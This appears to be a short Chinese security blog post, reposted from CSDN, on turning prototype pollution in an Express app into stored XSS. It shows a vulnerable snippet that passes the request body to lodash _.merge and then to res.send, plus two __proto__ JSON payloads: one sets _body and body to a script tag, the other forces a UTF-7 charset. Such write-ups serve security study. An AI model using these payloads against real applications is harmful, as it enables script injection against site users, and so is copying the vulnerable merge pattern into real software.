原型链污染挖掘(存储XSS)

服务XSS响应

将JSON content-type更改为HTML

在Express应用中使用 JSON内容类型响应 并反映一个JSON:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
    _.merge({}, req.body);
   res.send(req.body);
});

在这些情况下,XSS通常不可能使用JSON内容类型。然而,有了原型污染,我们可以 混淆Express以提供HTML响应。

此漏洞依赖于使用 res.send(obj)以及使用具有Application/JSON内容类型的主体解析器

{
    "__proto__":{
        "_body":true,
        "body":"<script>evil()"
    }
}

执行人污染 两个 body 和/或 _body属性,有可能导致 Express 提供HTML内容类型 并反映 _body 属性,导致存储的XSS。

渲染UTF7

渲染UTF-7内容:

{
    "__proto__":{
        "content-type": "application/json; charset=utf-7"
    }
}

验证待续

猜你喜欢

转载自blog.csdn.net/u012206617/article/details/132147494
今日推荐